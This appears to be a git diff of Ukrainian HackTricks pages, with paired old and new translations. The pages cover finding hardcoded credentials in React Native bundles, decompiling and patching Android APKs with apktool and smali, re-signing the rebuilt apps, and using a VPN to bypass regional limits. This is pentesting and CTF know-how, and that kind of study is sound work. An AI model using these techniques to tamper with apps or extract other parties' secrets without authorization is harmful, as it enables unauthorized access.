Для подальшого аналізу коду JavaScript створіть файл з назвою `index.html` в тій же папці з наступним кодом:
|
||||
Щоб далі проаналізувати код JavaScript, створіть файл з назвою `index.html` у тій же директорії з наступним кодом:
|
||||
```html
|
||||
<script src="./index.android.bundle"></script>
|
||||
```
|
||||
Ви можете завантажити файл на [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) або виконати наступні кроки:
|
||||
Ви можете завантажити файл на [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) або дотримуйтесь цих кроків:
|
||||
|
||||
1. Відкрийте файл `index.html` у Google Chrome.
|
||||
|
||||
2. Відкрийте Панель розробника, натиснувши **Command+Option+J для OS X** або **Control+Shift+J для Windows**.
|
||||
2. Відкрийте панель розробника, натиснувши **Command+Option+J для OS X** або **Control+Shift+J для Windows**.
|
||||
|
||||
3. Клацніть на "Sources" у Панелі розробника. Ви повинні побачити файл JavaScript, розділений на теки та файли, які складають основний пакет.
|
||||
3. Клацніть на "Sources" у панелі розробника. Ви повинні побачити файл JavaScript, який розділений на папки та файли, що складають основний пакет.
|
||||
|
||||
Якщо ви знайдете файл під назвою `index.android.bundle.map`, ви зможете проаналізувати вихідний код у немініфікованому форматі. Файли карт містять відображення джерел, що дозволяє вам відображати мініфіковані ідентифікатори.
|
||||
Якщо ви знайдете файл під назвою `index.android.bundle.map`, ви зможете проаналізувати вихідний код у немінімізованому форматі. Файли карт містять відображення виходу, що дозволяє вам відображати мінімізовані ідентифікатори.
|
||||
|
||||
Щоб знайти чутливі облікові дані та кінцеві точки, виконайте наступні кроки:
|
||||
Щоб знайти чутливі облікові дані та кінцеві точки, дотримуйтесь цих кроків:
|
||||
|
||||
1. Визначте чутливі ключові слова для аналізу коду JavaScript. Додатки React Native часто використовують сторонні служби, такі як Firebase, кінцеві точки служби AWS S3, приватні ключі тощо.
|
||||
1. Визначте чутливі ключові слова для аналізу коду JavaScript. Додатки React Native часто використовують сторонні сервіси, такі як Firebase, кінцеві точки сервісу AWS S3, приватні ключі тощо.
|
||||
|
||||
2. У цьому конкретному випадку було помічено, що додаток використовував службу Dialogflow. Шукайте шаблон, пов'язаний з його конфігурацією.
|
||||
2. У цьому конкретному випадку було помічено, що додаток використовує сервіс Dialogflow. Шукайте шаблон, пов'язаний з його конфігурацією.
|
||||
|
||||
3. Було щасливо, що чутливі захардкоджені облікові дані було знайдено в коді JavaScript під час процесу реконнесансу.
|
||||
3. Було щасливо, що чутливі жорстко закодовані облікові дані були знайдені в коді JavaScript під час процесу розвідки.
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,89 +1,90 @@
|
|||
# Smali - Декомпіляція/Зміна/Компіляція
|
||||
# Smali - Декомпіляція/\[Модифікація]/Компіліяція
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Іноді цікаво змінити код додатка, щоб отримати доступ до прихованої інформації для вас (можливо, добре зашифрованих паролів або прапорців). Тоді може бути цікаво декомпілювати apk, змінити код і знову скомпілювати його.
|
||||
Іноді цікаво модифікувати код програми, щоб отримати приховану інформацію (можливо, добре обфусцировані паролі або прапори). Тоді може бути цікаво декомпілювати apk, модифікувати код і знову скомпілювати його.
|
||||
|
||||
**Посилання на опкоди:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
|
||||
**Справочник опкодів:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
|
||||
|
||||
## Швидкий спосіб
|
||||
|
||||
Використовуючи **Visual Studio Code** та розширення [APKLab](https://github.com/APKLab/APKLab), ви можете **автоматично декомпілювати**, змінювати, **скомпілювати**, підписувати та встановлювати додаток без виконання будь-якої команди.
|
||||
Використовуючи **Visual Studio Code** та розширення [APKLab](https://github.com/APKLab/APKLab), ви можете **автоматично декомпілювати**, модифікувати, **скомпілювати**, підписати та встановити програму без виконання будь-якої команди.
|
||||
|
||||
Ще один **скрипт**, який значно спрощує це завдання, це [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
|
||||
Ще один **скрипт**, який значно полегшує це завдання, - [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
|
||||
|
||||
## Декомпіляція APK
|
||||
|
||||
Використовуючи APKTool, ви можете отримати доступ до **коду smali та ресурсів**:
|
||||
Використовуючи APKTool, ви можете отримати доступ до **smali коду та ресурсів**:
|
||||
```bash
|
||||
apktool d APP.apk
|
||||
```
|
||||
Якщо **apktool** видає будь-яку помилку, спробуйте [встановити **останню версію**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
Якщо **apktool** видає будь-яку помилку, спробуйте [встановити **остання версія**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
|
||||
Деякі **цікаві файли, на які варто звернути увагу**:
|
||||
|
||||
* _res/values/strings.xml_ (і всі xml-файли всередині res/values/\*)
|
||||
* _res/values/strings.xml_ (та всі xml-файли всередині res/values/\*)
|
||||
* _AndroidManifest.xml_
|
||||
* Будь-який файл з розширенням _.sqlite_ або _.db_
|
||||
|
||||
Якщо `apktool` має **проблеми з декодуванням додатка**, перегляньте [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) або спробуйте використати аргумент **`-r`** (Не декодувати ресурси). Потім, якщо проблема була у ресурсі, а не у вихідному коді, ви не матимете проблеми (ви також не розкодуєте ресурси).
|
||||
Якщо `apktool` має **проблеми з декодуванням програми**, ознайомтеся з [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) або спробуйте використати аргумент **`-r`** (Не декодувати ресурси). Тоді, якщо проблема була в ресурсі, а не в вихідному коді, ви не матимете проблеми (також не декомпілюватимете ресурси).
|
||||
|
||||
## Зміна коду Smali
|
||||
## Зміна коду smali
|
||||
|
||||
Ви можете **змінювати** **інструкції**, змінювати **значення** деяких змінних або **додавати** нові інструкції. Я змінюю код Smali за допомогою [**VS Code**](https://code.visualstudio.com), після чого встановлюєте розширення **smalise**, і редактор покаже вам, якщо будь-яка **інструкція невірна**.\
|
||||
Ви можете **змінювати** **інструкції**, змінювати **значення** деяких змінних або **додавати** нові інструкції. Я змінюю код Smali, використовуючи [**VS Code**](https://code.visualstudio.com), потім ви встановлюєте **розширення smalise**, і редактор повідомить вас, якщо будь-яка **інструкція є некоректною**.\
|
||||
Деякі **приклади** можна знайти тут:
|
||||
|
||||
* [Приклади змін у Smali](smali-changes.md)
|
||||
* [Google CTF 2018 - Хочеш зіграти в гру?](google-ctf-2018-shall-we-play-a-game.md)
|
||||
* [Приклади змін Smali](smali-changes.md)
|
||||
* [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
|
||||
|
||||
Або ви можете [**перевірити нижче пояснення деяких змін у Smali**](smali-changes.md#modifying-smali).
|
||||
Або ви можете [**перевірити нижче деякі пояснені зміни Smali**](smali-changes.md#modifying-smali).
|
||||
|
||||
## Перекомпілювати APK
|
||||
## Перекомпіляція APK
|
||||
|
||||
Після внесення змін у код ви можете **перекомпілювати** код за допомогою:
|
||||
Після модифікації коду ви можете **перекомпілювати** код, використовуючи:
|
||||
```bash
|
||||
apktool b . #In the folder generated when you decompiled the application
|
||||
```
|
||||
Це **скомпілює** новий APK **всередині** папки _**dist**_.
|
||||
|
||||
Якщо **apktool** видає **помилку**, спробуйте [встановити **останню версію**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
Якщо **apktool** видає **помилку**, спробуйте[ встановити **остання версія**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
|
||||
### **Підпишіть новий APK**
|
||||
|
||||
Потім вам потрібно **створити ключ** (вас попросять ввести пароль та деяку інформацію, яку можна заповнити випадково):
|
||||
Потім вам потрібно **згенерувати ключ** (вас попросять ввести пароль та деяку інформацію, яку ви можете заповнити випадковим чином):
|
||||
```bash
|
||||
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
|
||||
```
|
||||
Наостанок, **підпишіть** новий APK:
|
||||
Нарешті, **підпишіть** новий APK:
|
||||
```bash
|
||||
jarsigner -keystore key.jks path/to/dist/* <your-alias>
|
||||
```
|
||||
### Оптимізація нової програми
|
||||
### Оптимізувати новий додаток
|
||||
|
||||
**zipalign** - це інструмент для вирівнювання архіву, який забезпечує важливу оптимізацію файлів Android-додатків (APK). [Додаткова інформація тут](https://developer.android.com/studio/command-line/zipalign).
|
||||
**zipalign** - це інструмент вирівнювання архівів, який забезпечує важливу оптимізацію для файлів Android додатків (APK). [Більше інформації тут](https://developer.android.com/studio/command-line/zipalign).
|
||||
```bash
|
||||
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
|
||||
zipalign -v 4 infile.apk
|
||||
```
|
||||
### **Підпишіть новий APK (знову?)**
|
||||
|
||||
Якщо ви **віддаєте перевагу** використанню [**apksigner**](https://developer.android.com/studio/command-line/) замість jarsigner, **ви повинні підписати apk** після застосування **оптимізації з** zipalign. АЛЕ ЗВЕРНІТЬ УВАГУ, ЩО ВИ ПОВИННІ **ПІДПИСАТИ ДОДАТОК ОДИН РАЗ** З jarsigner (перед zipalign) АБО З apksigner (після zipalign).
|
||||
Якщо ви **надаєте перевагу** використовувати [**apksigner**](https://developer.android.com/studio/command-line/) замість jarsigner, **вам слід підписати apk** після застосування **оптимізації з** zipalign. АЛЕ ЗВЕРНІТЬ УВАГУ, ЩО ВИ МАЄТЕ **ПІДПИСАТИ ЗАСТОСУВАННЯ ТІЛЬКИ ОДИН РАЗ** З jarsigner (перед zipalign) АБО З aspsigner (після zipalign).
|
||||
```bash
|
||||
apksigner sign --ks key.jks ./dist/mycompiled.apk
|
||||
```
|
||||
## Зміна Smali
|
||||
## Модифікація Smali
|
||||
|
||||
Для наступного коду Hello World на Java:
|
||||
```java
|
||||
|
@ -91,7 +92,7 @@ public static void printHelloWorld() {
|
|||
System.out.println("Hello World")
|
||||
}
|
||||
```
|
||||
Смалі код буде:
|
||||
Код Smali буде:
|
||||
```java
|
||||
.method public static printHelloWorld()V
|
||||
.registers 2
|
||||
|
@ -101,13 +102,13 @@ invoke-virtual {v0,v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
|
|||
return-void
|
||||
.end method
|
||||
```
|
||||
Інструкційний набір Smali доступний [тут](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
|
||||
Набір інструкцій Smali доступний [тут](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
|
||||
|
||||
### Легкі зміни
|
||||
|
||||
### Зміна початкових значень змінної всередині функції
|
||||
### Змінити початкові значення змінної всередині функції
|
||||
|
||||
Деякі змінні визначаються на початку функції за допомогою опкоду _const_, ви можете змінити їх значення або визначити нові:
|
||||
Деякі змінні визначені на початку функції за допомогою опкоду _const_, ви можете змінити їх значення або визначити нові:
|
||||
```bash
|
||||
#Number
|
||||
const v9, 0xf4240
|
||||
|
@ -138,7 +139,7 @@ iput v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Save v0 inside
|
|||
if-ne v0, v9, :goto_6 #If not equals, go to: :goto_6
|
||||
goto :goto_6 #Always go to: :goto_6
|
||||
```
|
||||
### Великі зміни
|
||||
### Більші зміни
|
||||
|
||||
### Логування
|
||||
```bash
|
||||
|
@ -151,17 +152,17 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin
|
|||
```
|
||||
Рекомендації:
|
||||
|
||||
* Якщо ви збираєтеся використовувати оголошені змінні всередині функції (оголошені v0, v1, v2...), розмістіть ці рядки між _.local \<number>_ та оголошеннями змінних (_const v0, 0x1_)
|
||||
* Якщо ви хочете вставити код журналювання посередині коду функції:
|
||||
* Додайте 2 до кількості оголошених змінних: Наприклад, з _.locals 10_ на _.locals 12_
|
||||
* Нові змінні повинні мати наступні номери після вже оголошених змінних (у цьому прикладі повинні бути _v10_ та _v11_, пам'ятайте, що вони починаються з v0).
|
||||
* Змініть код функції журналювання та використовуйте _v10_ та _v11_ замість _v5_ та _v1_.
|
||||
* Якщо ви збираєтеся використовувати оголошені змінні всередині функції (оголошені v0,v1,v2...) помістіть ці рядки між _.local \<number>_ та оголошеннями змінних (_const v0, 0x1_)
|
||||
* Якщо ви хочете вставити код логування в середині коду функції:
|
||||
* Додайте 2 до кількості оголошених змінних: Наприклад: з _.locals 10_ до _.locals 12_
|
||||
* Нові змінні повинні бути наступними номерами вже оголошених змінних (в цьому прикладі це повинні бути _v10_ та _v11_, пам'ятайте, що починається з v0).
|
||||
* Змініть код функції логування та використовуйте _v10_ та _v11_ замість _v5_ та _v1_.
|
||||
|
||||
### Toasting
|
||||
|
||||
Не забудьте додати 3 до кількості _.locals_ на початку функції.
|
||||
Пам'ятайте, щоб додати 3 до кількості _.locals_ на початку функції.
|
||||
|
||||
Цей код готовий для вставки в **середину функції** (**змініть** кількість **змінних** за необхідності). Він візьме **значення this.o**, **перетворить** його на **рядок** і потім **виведе** повідомлення з його значенням.
|
||||
Цей код підготовлений для вставки в **середину функції** (**змініть** номер **змінних** за необхідності). Він візьме **значення this.o**, **перетворить** його на **String** і потім **зробить** **toast** з його значенням.
|
||||
```bash
|
||||
const/4 v10, 0x1
|
||||
const/4 v11, 0x1
|
||||
|
@ -173,16 +174,17 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
|
|||
move-result-object v12
|
||||
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,45 +1,59 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Експерт з червоної команди HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
У ситуаціях, коли додаток обмежений певними країнами, і ви не можете встановити його на свій Android-пристрій через регіональні обмеження, підробка вашого місцезнаходження на країну, де додаток доступний, може надати вам доступ. Нижче наведено кроки, як це зробити:
|
||||
У ситуаціях, коли застосунок обмежений для певних країн, і ви не можете встановити його на свій Android-пристрій через регіональні обмеження, підробка вашого місцезнаходження на країну, де застосунок доступний, може надати вам доступ. Наступні кроки детально описують, як це зробити:
|
||||
|
||||
1. **Встановіть Hotspot Shield Free VPN Proxy:**
|
||||
- Почніть, завантаживши та встановивши Hotspot Shield Free VPN Proxy з Google Play Store.
|
||||
- Почніть із завантаження та встановлення Hotspot Shield Free VPN Proxy з Google Play Store.
|
||||
|
||||
2. **Підключіться до VPN-сервера:**
|
||||
- Відкрийте додаток Hotspot Shield.
|
||||
- Підключіться до VPN-сервера, вибравши країну, де доступний додаток, до якого ви хочете отримати доступ.
|
||||
- Підключіться до VPN-сервера, вибравши країну, де доступний застосунок, до якого ви хочете отримати доступ.
|
||||
|
||||
3. **Очистіть дані Google Play Store:**
|
||||
- Перейдіть до **Налаштувань** вашого пристрою.
|
||||
- Перейдіть до **Додатків** або **Менеджера додатків** (це може відрізнятися залежно від вашого пристрою).
|
||||
- Перейдіть до **Додатків** або **Менеджера додатків** (це може відрізнятися в залежності від вашого пристрою).
|
||||
- Знайдіть і виберіть **Google Play Store** зі списку додатків.
|
||||
- Натисніть на **Примусове зупинення**, щоб завершити всі запущені процеси додатка.
|
||||
- Потім натисніть **Очистити дані** або **Очистити сховище** (точна формулювання може відрізнятися), щоб скинути додаток Google Play Store до його початкового стану.
|
||||
- Натисніть **Примусово зупинити**, щоб завершити всі запущені процеси додатка.
|
||||
- Потім натисніть **Очистити дані** або **Очистити пам'ять** (точна формулювання може відрізнятися), щоб скинути додаток Google Play Store до його стандартного стану.
|
||||
|
||||
4. **Отримайте доступ до обмеженого додатку:**
|
||||
4. **Отримайте доступ до обмеженого застосунку:**
|
||||
- Відкрийте **Google Play Store**.
|
||||
- Магазин тепер повинен відображати вміст країни, до якої ви підключилися через VPN.
|
||||
- Ви повинні мати можливість знайти та встановити додаток, який раніше був недоступний у вашому фактичному місцезнаходженні.
|
||||
- Ви повинні мати можливість шукати та встановлювати застосунок, який раніше був недоступний у вашому фактичному місцезнаходженні.
|
||||
|
||||
### Важливі зауваження:
|
||||
- Ефективність цього методу може варіюватися в залежності від кількох факторів, включаючи надійність VPN-сервісу та конкретні регіональні обмеження, накладені додатком.
|
||||
- Регулярне використання VPN може вплинути на продуктивність деяких додатків та сервісів.
|
||||
- Будьте обережні з умовами обслуговування будь-якого додатку або сервісу, яким ви користуєтеся, оскільки використання VPN для обходу регіональних обмежень може порушити ці умови.
|
||||
### Важливі примітки:
|
||||
- Ефективність цього методу може варіюватися в залежності від кількох факторів, включаючи надійність VPN-сервісу та конкретні регіональні обмеження, накладені на застосунок.
|
||||
- Регулярне використання VPN може вплинути на продуктивність деяких додатків і сервісів.
|
||||
- Будьте обережні з умовами обслуговування будь-якого додатка або сервісу, який ви використовуєте, оскільки використання VPN для обходу регіональних обмежень може порушувати ці умови.
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
* [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,42 +1,48 @@
|
|||
# Тапджекінг
|
||||
# Tapjacking
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
